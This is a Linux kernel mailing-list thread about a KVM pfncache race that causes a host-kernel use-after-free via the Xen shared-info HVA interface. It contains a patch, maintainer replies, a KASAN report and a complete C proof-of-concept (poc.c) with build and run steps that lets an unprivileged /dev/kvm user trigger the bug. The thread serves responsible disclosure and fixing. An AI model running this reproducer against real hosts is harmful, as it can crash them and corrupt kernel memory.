[PATCH] KVM: pfncache: track all MMU notifier invalidations

[PATCH] KVM: pfncache: track all MMU notifier invalidations

[David Lee]

From: Kyle Zeng <kylebot@openai.com>

There is a race condition in KVM's gfn-to-pfn cache refresh and MMU
notifier handling. An HVA-backed cache can publish a stale PFN and
kernel virtual address after the corresponding userspace mapping has
been invalidated. The Xen shared-info HVA interface immediately reads
and writes through that stale address, resulting in a host-kernel
use-after-free.

The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while
resolving and mapping an HVA. It uses mn_active_invalidate_count and
mmu_invalidate_seq to detect an MMU notifier interval that overlaps
this unlocked window. However, mmu_invalidate_seq is advanced only
when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are
explicitly allowed to refer to memory outside all memslots. If such an
invalidation starts and finishes while gpc->valid is false, the active
count returns to zero without a sequence change and the refresh accepts
a stale PFN.

An unprivileged process with access to /dev/kvm can reach this path with
KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in
kvm_xen_shared_info_init(). The affected function reads and writes Xen
wall-clock fields through the stale mapping, so the issue can cause a
host-kernel crash and memory corruption.

The attached KASAN output confirms:

  BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
  Read of size 4 at addr ffff888046000900 by task poc/1266

Add a notifier-specific sequence that advances for every completed
invalidate interval before mn_active_invalidate_count is decremented,
and use that sequence for pfncache retry. The existing barrier pairing
then guarantees refresh observes either an active invalidation or a
sequence change.

Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with a fixed (userspace) HVA")
Cc: stable@vger.kernel.org # 6.9+
Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Co-developed-by: David Lee <david.lee@trailofbits.com>
Signed-off-by: David Lee <david.lee@trailofbits.com>
---
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.

Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.

 include/linux/kvm_host.h |  1 +
 virt/kvm/kvm_main.c      |  9 ++++++++-
 virt/kvm/pfncache.c      | 18 +++++++++---------
 3 files changed, 18 insertions(+), 10 deletions(-)

diff --git a/include/linux/kvm_host.h b/include/linux/kvm_host.h
index ab8cfaec8..0ac382cd9 100644
--- a/include/linux/kvm_host.h
+++ b/include/linux/kvm_host.h
@@ -800,6 +800,7 @@ struct kvm {
 	/* Used to wait for completion of MMU notifiers.  */
 	spinlock_t mn_invalidate_lock;
 	unsigned long mn_active_invalidate_count;
+	unsigned long mn_invalidate_seq;
 	struct rcuwait mn_memslots_update_rcuwait;
 
 	/* For management / invalidation of gfn_to_pfn_caches */
diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c
index 45e784462..5e43dd63c 100644
--- a/virt/kvm/kvm_main.c
+++ b/virt/kvm/kvm_main.c
@@ -812,8 +812,15 @@ static void kvm_mmu_notifier_invalidate_range_end(struct mmu_notifier *mn,
 
 	/* Pairs with the increment in range_start(). */
 	spin_lock(&kvm->mn_invalidate_lock);
-	if (!WARN_ON_ONCE(!kvm->mn_active_invalidate_count))
+	if (!WARN_ON_ONCE(!kvm->mn_active_invalidate_count)) {
+		kvm->mn_invalidate_seq++;
+		/*
+		 * Publish the sequence update before dropping the active count
+		 * so that pfncache refreshes observe one or the other.
+		 */
+		smp_wmb();
 		--kvm->mn_active_invalidate_count;
+	}
 	wake = !kvm->mn_active_invalidate_count;
 	spin_unlock(&kvm->mn_invalidate_lock);
 
diff --git a/virt/kvm/pfncache.c b/virt/kvm/pfncache.c
index 728d2c1b4..d360f1eda 100644
--- a/virt/kvm/pfncache.c
+++ b/virt/kvm/pfncache.c
@@ -124,7 +124,7 @@ static void gpc_unmap(kvm_pfn_t pfn, void *khva)
 #endif
 }
 
-static inline bool mmu_notifier_retry_cache(struct kvm *kvm, unsigned long mmu_seq)
+static inline bool mmu_notifier_retry_cache(struct kvm *kvm, unsigned long mn_seq)
 {
 	/*
 	 * mn_active_invalidate_count acts for all intents and purposes
@@ -136,20 +136,20 @@ static inline bool mmu_notifier_retry_cache(struct kvm *kvm, unsigned long mmu_s
 	 * Note, it does not matter that mn_active_invalidate_count
 	 * is not protected by gpc->lock.  It is guaranteed to
 	 * be elevated before the mmu_notifier acquires gpc->lock, and
-	 * isn't dropped until after mmu_invalidate_seq is updated.
+	 * isn't dropped until after mn_invalidate_seq is updated.
 	 */
-	if (kvm->mn_active_invalidate_count)
+	if (READ_ONCE(kvm->mn_active_invalidate_count))
 		return true;
 
 	/*
 	 * Ensure mn_active_invalidate_count is read before
-	 * mmu_invalidate_seq.  This pairs with the smp_wmb() in
+	 * mn_invalidate_seq.  This pairs with the smp_wmb() in
 	 * mmu_notifier_invalidate_range_end() to guarantee either the
 	 * old (non-zero) value of mn_active_invalidate_count or the
-	 * new (incremented) value of mmu_invalidate_seq is observed.
+	 * new (incremented) value of mn_invalidate_seq is observed.
 	 */
 	smp_rmb();
-	return kvm->mmu_invalidate_seq != mmu_seq;
+	return READ_ONCE(kvm->mn_invalidate_seq) != mn_seq;
 }
 
 static kvm_pfn_t hva_to_pfn_retry(struct gfn_to_pfn_cache *gpc)
@@ -158,7 +158,7 @@ static kvm_pfn_t hva_to_pfn_retry(struct gfn_to_pfn_cache *gpc)
 	void *old_khva = (void *)PAGE_ALIGN_DOWN((uintptr_t)gpc->khva);
 	kvm_pfn_t new_pfn = KVM_PFN_ERR_FAULT;
 	void *new_khva = NULL;
-	unsigned long mmu_seq;
+	unsigned long mn_seq;
 	struct page *page;
 
 	struct kvm_follow_pfn kfp = {
@@ -181,7 +181,7 @@ static kvm_pfn_t hva_to_pfn_retry(struct gfn_to_pfn_cache *gpc)
 	gpc->valid = false;
 
 	do {
-		mmu_seq = gpc->kvm->mmu_invalidate_seq;
+		mn_seq = READ_ONCE(gpc->kvm->mn_invalidate_seq);
 		smp_rmb();
 
 		write_unlock_irq(&gpc->lock);
@@ -232,7 +232,7 @@ static kvm_pfn_t hva_to_pfn_retry(struct gfn_to_pfn_cache *gpc)
 		 * attempting to refresh.
 		 */
 		WARN_ON_ONCE(gpc->valid);
-	} while (mmu_notifier_retry_cache(gpc->kvm, mmu_seq));
+	} while (mmu_notifier_retry_cache(gpc->kvm, mn_seq));
 
 	gpc->valid = true;
 	gpc->pfn = new_pfn;
-- 
2.53.0

Re: [PATCH] KVM: pfncache: track all MMU notifier invalidations

[Sean Christopherson]

+David W

On Mon, Aug 10, 2026, David Lee wrote:
> From: Kyle Zeng <kylebot@openai.com>
> 
> There is a race condition in KVM's gfn-to-pfn cache refresh and MMU
> notifier handling. An HVA-backed cache can publish a stale PFN and
> kernel virtual address after the corresponding userspace mapping has
> been invalidated. The Xen shared-info HVA interface immediately reads
> and writes through that stale address, resulting in a host-kernel
> use-after-free.
> 
> The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while
> resolving and mapping an HVA. It uses mn_active_invalidate_count and
> mmu_invalidate_seq to detect an MMU notifier interval that overlaps
> this unlocked window. However, mmu_invalidate_seq is advanced only
> when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are
> explicitly allowed to refer to memory outside all memslots. If such an
> invalidation starts and finishes while gpc->valid is false, the active
> count returns to zero without a sequence change and the refresh accepts
> a stale PFN.
> 
> An unprivileged process with access to /dev/kvm can reach this path with
> KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in
> kvm_xen_shared_info_init(). The affected function reads and writes Xen
> wall-clock fields through the stale mapping, so the issue can cause a
> host-kernel crash and memory corruption.
> 
> The attached KASAN output confirms:
> 
>   BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
>   Read of size 4 at addr ffff888046000900 by task poc/1266
> 
> Add a notifier-specific sequence that advances for every completed
> invalidate interval before mn_active_invalidate_count is decremented,
> and use that sequence for pfncache retry. The existing barrier pairing
> then guarantees refresh observes either an active invalidation or a
> sequence change.
> 
> Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with a fixed (userspace) HVA")
> Cc: stable@vger.kernel.org # 6.9+
> Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
> Co-developed-by: David Lee <david.lee@trailofbits.com>
> Signed-off-by: David Lee <david.lee@trailofbits.com>
> ---
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
> 
> Trail of Bits has a reproducer for this bug that triggers a
> KASAN use-after-free and can share if needed.

Go ahead and share, syzbot has been reporting this race for some time, i.e. how
to repro this isn't exactly a secret, and the more testcases the better.  This is
also like the fourth or fifth proposed fix for the bug (bugs?).  I think the most
recent version of the fix we are pursuing is here:

https://lore.kernel.org/all/20260811094829.98794-12-dwmw2@infradead.org

Thanks!

Re: [PATCH] KVM: pfncache: track all MMU notifier invalidations

[David Lee]

[-- Attachment #1.1: Type: text/plain, Size: 4213 bytes --]

Hi Sean,

Please refer to the attached reproducer.

Required configuration:
* CONFIG_KVM
* CONFIG_KVM_XEN
* An x86 KVM host

CONFIG_KASAN is not required for the vulnerability, but it is used to
produce the attached diagnostic output.

========== Reproduction ==========
Step 1: Build and boot an affected x86 kernel with CONFIG_KVM,
CONFIG_KVM_XEN, and CONFIG_KASAN enabled.

The confirmed kernel source revision is:

~
a13c140cc289c0b7b3770bce5b3ad42ab35074aa
~

Step 2: Compile the attached `poc.c`:

~
gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
~

Step 3: Run the PoC as a non-root user that has permission to open
`/dev/kvm`:

~
./poc
~

The PoC creates a KVM VM without any memslots, maps one anonymous page,
and runs two threads on separate CPUs. One thread repeatedly activates
and deactivates the Xen shared-info HVA cache. The other repeatedly
discards the backing page with `MADV_DONTNEED`.

The race is timing-dependent. The supplied PoC runs for 90 seconds. On
the confirmed test system it produced the attached KASAN report in
`splash.txt`.

Best regards,
David

On Tue, Aug 11, 2026 at 10:40 AM Sean Christopherson <seanjc@google.com>
wrote:

> +David W
>
> On Mon, Aug 10, 2026, David Lee wrote:
> > From: Kyle Zeng <kylebot@openai.com>
> >
> > There is a race condition in KVM's gfn-to-pfn cache refresh and MMU
> > notifier handling. An HVA-backed cache can publish a stale PFN and
> > kernel virtual address after the corresponding userspace mapping has
> > been invalidated. The Xen shared-info HVA interface immediately reads
> > and writes through that stale address, resulting in a host-kernel
> > use-after-free.
> >
> > The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while
> > resolving and mapping an HVA. It uses mn_active_invalidate_count and
> > mmu_invalidate_seq to detect an MMU notifier interval that overlaps
> > this unlocked window. However, mmu_invalidate_seq is advanced only
> > when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are
> > explicitly allowed to refer to memory outside all memslots. If such an
> > invalidation starts and finishes while gpc->valid is false, the active
> > count returns to zero without a sequence change and the refresh accepts
> > a stale PFN.
> >
> > An unprivileged process with access to /dev/kvm can reach this path with
> > KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in
> > kvm_xen_shared_info_init(). The affected function reads and writes Xen
> > wall-clock fields through the stale mapping, so the issue can cause a
> > host-kernel crash and memory corruption.
> >
> > The attached KASAN output confirms:
> >
> >   BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0
> [kvm]
> >   Read of size 4 at addr ffff888046000900 by task poc/1266
> >
> > Add a notifier-specific sequence that advances for every completed
> > invalidate interval before mn_active_invalidate_count is decremented,
> > and use that sequence for pfncache retry. The existing barrier pairing
> > then guarantees refresh observes either an active invalidation or a
> > sequence change.
> >
> > Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with
> a fixed (userspace) HVA")
> > Cc: stable@vger.kernel.org # 6.9+
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
> > Co-developed-by: David Lee <david.lee@trailofbits.com>
> > Signed-off-by: David Lee <david.lee@trailofbits.com>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
>
> Go ahead and share, syzbot has been reporting this race for some time,
> i.e. how
> to repro this isn't exactly a secret, and the more testcases the better.
> This is
> also like the fourth or fifth proposed fix for the bug (bugs?).  I think
> the most
> recent version of the fix we are pursuing is here:
>
> https://lore.kernel.org/all/20260811094829.98794-12-dwmw2@infradead.org
>
> Thanks!
>

[-- Attachment #1.2: Type: text/html, Size: 5327 bytes --]

[-- Attachment #2: splash.txt --]
[-- Type: text/plain, Size: 7077 bytes --]

[  232.327844] ==================================================================
[  232.327844] BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844] Read of size 4 at addr ffff888046000900 by task poc/1266
[  232.327844] 
[  232.327844] CPU: 0 UID: 1000 PID: 1266 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) 
[  232.327844] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[  232.327844] Call Trace:
[  232.327844]  <TASK>
[  232.327844]  dump_stack_lvl+0x5f/0x90
[  232.327844]  print_report+0x15b/0x4ec
[  232.327844]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[  232.327844]  ? kasan_addr_to_slab+0xd/0x80
[  232.327844]  kasan_report+0xf2/0x130
[  232.327844]  ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  ? kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  __asan_report_load_n_noabort+0xf/0x20
[  232.327844]  kvm_xen_shared_info_init+0x344/0x3d0 [kvm]
[  232.327844]  kvm_xen_hvm_set_attr+0xbe0/0x1a40 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_mutex_unlock+0x10/0x10
[  232.327844]  ? __pfx__raw_spin_lock+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? mutex_unlock+0x83/0xe0
[  232.327844]  ? __pfx_mutex_unlock+0x10/0x10
[  232.327844]  ? kvm_gpc_deactivate+0x8d/0x530 [kvm]
[  232.327844]  ? kvm_xen_hvm_set_attr+0x377/0x1a40 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_arch_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? kvm_gpc_deactivate+0x8d/0x530 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_xen_hvm_set_attr+0x10/0x10 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  ? kvm_arch_vm_ioctl+0x283/0x1760 [kvm]
[  232.327844]  kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? kvm_vm_ioctl+0x12f4/0x3fe0 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_kvm_vm_ioctl+0x10/0x10 [kvm]
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fdget+0x30d/0x4b0
[  232.327844]  __x64_sys_ioctl+0x147/0x1e0
[  232.327844]  x64_sys_call+0x103b/0x2390
[  232.327844]  do_syscall_64+0xdd/0x640
[  232.327844]  ? __pfx_do_vfs_ioctl+0x10/0x10
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? __kasan_check_write+0x14/0x30
[  232.327844]  ? fput+0x27/0xa0
[  232.327844]  ? __kasan_check_read+0x11/0x20
[  232.327844]  ? fpregs_assert_state_consistent+0x5c/0x100
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x11a/0x640
[  232.327844]  ? do_syscall_64+0x94/0x640
[  232.327844]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  232.327844] RIP: 0033:0x41665d
[  232.327844] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1a 48 8b 45 c8 64 48 2b 04 25 28 00 00 00
[  232.327844] RSP: 002b:0000778a148a4040 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[  232.327844] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 000000000041665d
[  232.327844] RDX: 0000778a148a40a0 RSI: 000000004048aec9 RDI: 0000000000000004
[  232.327844] RBP: 0000778a148a4090 R08: 0000000000000000 R09: 0000000000000001
[  232.327844] R10: 0000000000000008 R11: 0000000000000246 R12: 0000778a148a46c0
[  232.327844] R13: 00007ffeee4a0ee0 R14: 0000778a148a4ce4 R15: 00007ffeee4a0fd7
[  232.327844]  </TASK>
[  232.327844] 
[  232.327844] The buggy address belongs to the physical page:
[  232.327844] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x778a150a6 pfn:0x46000
[  232.327844] flags: 0xfffffc0000000(node=0|zone=1|lastcpupid=0x1fffff)
[  232.327844] raw: 000fffffc0000000 ffffea00010e1fc8 ffff88811aecb670 0000000000000000
[  232.327844] raw: 0000000778a150a6 0000000000000000 00000000ffffffff 0000000000000000
[  232.327844] page dumped because: kasan: bad access detected
[  232.327844] 
[  232.327844] Memory state around the buggy address:
[  232.327844]  ffff888046000800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]  ffff888046000880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844] >ffff888046000900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]                    ^
[  232.327844]  ffff888046000980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844]  ffff888046000a00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  232.327844] ==================================================================
[  232.327844] Disabling lock debugging due to kernel taint

[-- Attachment #3: poc.c --]
[-- Type: application/octet-stream, Size: 2428 bytes --]

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/kvm.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <time.h>
#include <unistd.h>

#define PAGE_BYTES 4096
#define RUN_SECONDS 90

static atomic_int stop;
static void *shared_info_page;
static int vmfd;

static void fail(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(EXIT_FAILURE);
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set))
		fail("sched_setaffinity");
}

static void *discard_page(void *unused)
{
	(void)unused;
	pin_to_cpu(1);

	while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
		if (madvise(shared_info_page, PAGE_BYTES, MADV_DONTNEED))
			fail("madvise");
	}

	return NULL;
}

static void *refresh_cache(void *unused)
{
	struct kvm_xen_hvm_attr activate = {
		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
		.u.shared_info.hva = (uintptr_t)shared_info_page,
	};
	struct kvm_xen_hvm_attr deactivate = {
		.type = KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA,
		.u.shared_info.hva = 0,
	};

	(void)unused;
	pin_to_cpu(0);

	while (!atomic_load_explicit(&stop, memory_order_relaxed)) {
		if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &activate) && errno != EFAULT)
			fail("KVM_XEN_HVM_SET_ATTR activate");
		if (ioctl(vmfd, KVM_XEN_HVM_SET_ATTR, &deactivate))
			fail("KVM_XEN_HVM_SET_ATTR deactivate");
	}

	return NULL;
}

int main(void)
{
	struct timespec duration = { .tv_sec = RUN_SECONDS };
	pthread_t discard_tid, refresh_tid;
	int kvmfd;

	kvmfd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
	if (kvmfd < 0)
		fail("open /dev/kvm");

	vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
	if (vmfd < 0)
		fail("KVM_CREATE_VM");

	shared_info_page = mmap(NULL, PAGE_BYTES, PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (shared_info_page == MAP_FAILED)
		fail("mmap");
	*(volatile unsigned char *)shared_info_page = 0;

	if (pthread_create(&discard_tid, NULL, discard_page, NULL))
		fail("pthread_create");
	if (pthread_create(&refresh_tid, NULL, refresh_cache, NULL))
		fail("pthread_create");

	nanosleep(&duration, NULL);
	atomic_store_explicit(&stop, 1, memory_order_relaxed);
	pthread_join(discard_tid, NULL);
	pthread_join(refresh_tid, NULL);

	return EXIT_SUCCESS;
}

Re: [PATCH] KVM: pfncache: track all MMU notifier invalidations

[David Woodhouse]

On 11 August 2026 18:16:58 BST, David Lee <david.lee@trailofbits.com> wrote:
>Hi Sean,
>
>Please refer to the attached reproducer.
>
>Required configuration:
>* CONFIG_KVM
>* CONFIG_KVM_XEN
>* An x86 KVM host
>
>CONFIG_KASAN is not required for the vulnerability, but it is used to
>produce the attached diagnostic output.
>
>========== Reproduction ==========
>Step 1: Build and boot an affected x86 kernel with CONFIG_KVM,
>CONFIG_KVM_XEN, and CONFIG_KASAN enabled.
>
>The confirmed kernel source revision is:
>
>~
>a13c140cc289c0b7b3770bce5b3ad42ab35074aa
>~
>
>Step 2: Compile the attached `poc.c`:
>
>~
>gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c
>~
>
>Step 3: Run the PoC as a non-root user that has permission to open
>`/dev/kvm`:
>
>~
>./poc
>~
>
>The PoC creates a KVM VM without any memslots, maps one anonymous page,
>and runs two threads on separate CPUs. One thread repeatedly activates
>and deactivates the Xen shared-info HVA cache. The other repeatedly
>discards the backing page with `MADV_DONTNEED`.
>
>The race is timing-dependent. The supplied PoC runs for 90 seconds. On
>the confirmed test system it produced the attached KASAN report in
>`splash.txt`.
>
>Best regards,
>David
>
>On Tue, Aug 11, 2026 at 10:40 AM Sean Christopherson <seanjc@google.com>
>wrote:
>
>> +David W
>>
>> On Mon, Aug 10, 2026, David Lee wrote:
>> > From: Kyle Zeng <kylebot@openai.com>
>> >
>> > There is a race condition in KVM's gfn-to-pfn cache refresh and MMU
>> > notifier handling. An HVA-backed cache can publish a stale PFN and
>> > kernel virtual address after the corresponding userspace mapping has
>> > been invalidated. The Xen shared-info HVA interface immediately reads
>> > and writes through that stale address, resulting in a host-kernel
>> > use-after-free.
>> >
>> > The cache refresh path in virt/kvm/pfncache.c drops gpc->lock while
>> > resolving and mapping an HVA. It uses mn_active_invalidate_count and
>> > mmu_invalidate_seq to detect an MMU notifier interval that overlaps
>> > this unlocked window. However, mmu_invalidate_seq is advanced only
>> > when the invalidated HVA overlaps a KVM memslot. HVA-backed caches are
>> > explicitly allowed to refer to memory outside all memslots. If such an
>> > invalidation starts and finishes while gpc->valid is false, the active
>> > count returns to zero without a sequence change and the refresh accepts
>> > a stale PFN.
>> >
>> > An unprivileged process with access to /dev/kvm can reach this path with
>> > KVM_XEN_ATTR_TYPE_SHARED_INFO_HVA. KASAN-detected use-after-free in
>> > kvm_xen_shared_info_init(). The affected function reads and writes Xen
>> > wall-clock fields through the stale mapping, so the issue can cause a
>> > host-kernel crash and memory corruption.
>> >
>> > The attached KASAN output confirms:
>> >
>> >   BUG: KASAN: use-after-free in kvm_xen_shared_info_init+0x344/0x3d0
>> [kvm]
>> >   Read of size 4 at addr ffff888046000900 by task poc/1266
>> >
>> > Add a notifier-specific sequence that advances for every completed
>> > invalidate interval before mn_active_invalidate_count is decremented,
>> > and use that sequence for pfncache retry. The existing barrier pairing
>> > then guarantees refresh observes either an active invalidation or a
>> > sequence change.
>> >
>> > Fixes: 721f5b0dda78 ("KVM: pfncache: allow a cache to be activated with
>> a fixed (userspace) HVA")
>> > Cc: stable@vger.kernel.org # 6.9+
>> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
>> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
>> > Co-developed-by: David Lee <david.lee@trailofbits.com>
>> > Signed-off-by: David Lee <david.lee@trailofbits.com>
>> > ---
>> > Bug found and triaged by OpenAI Security Research and
>> > validated by Trail of Bits.
>> >
>> > Trail of Bits has a reproducer for this bug that triggers a
>> > KASAN use-after-free and can share if needed.
>>
>> Go ahead and share, syzbot has been reporting this race for some time,
>> i.e. how
>> to repro this isn't exactly a secret, and the more testcases the better.
>> This is
>> also like the fourth or fifth proposed fix for the bug (bugs?).  I think
>> the most
>> recent version of the fix we are pursuing is here:
>>
>> https://lore.kernel.org/all/20260811094829.98794-12-dwmw2@infradead.org
>>
>> Thanks!
>>

Thanks. Sounds very much like the reproducers I've been running many times in parallel on my test hosts since Friday, testing various iterations of what is now in my xen-srcu-prealloc branch. But I can add it to the stable...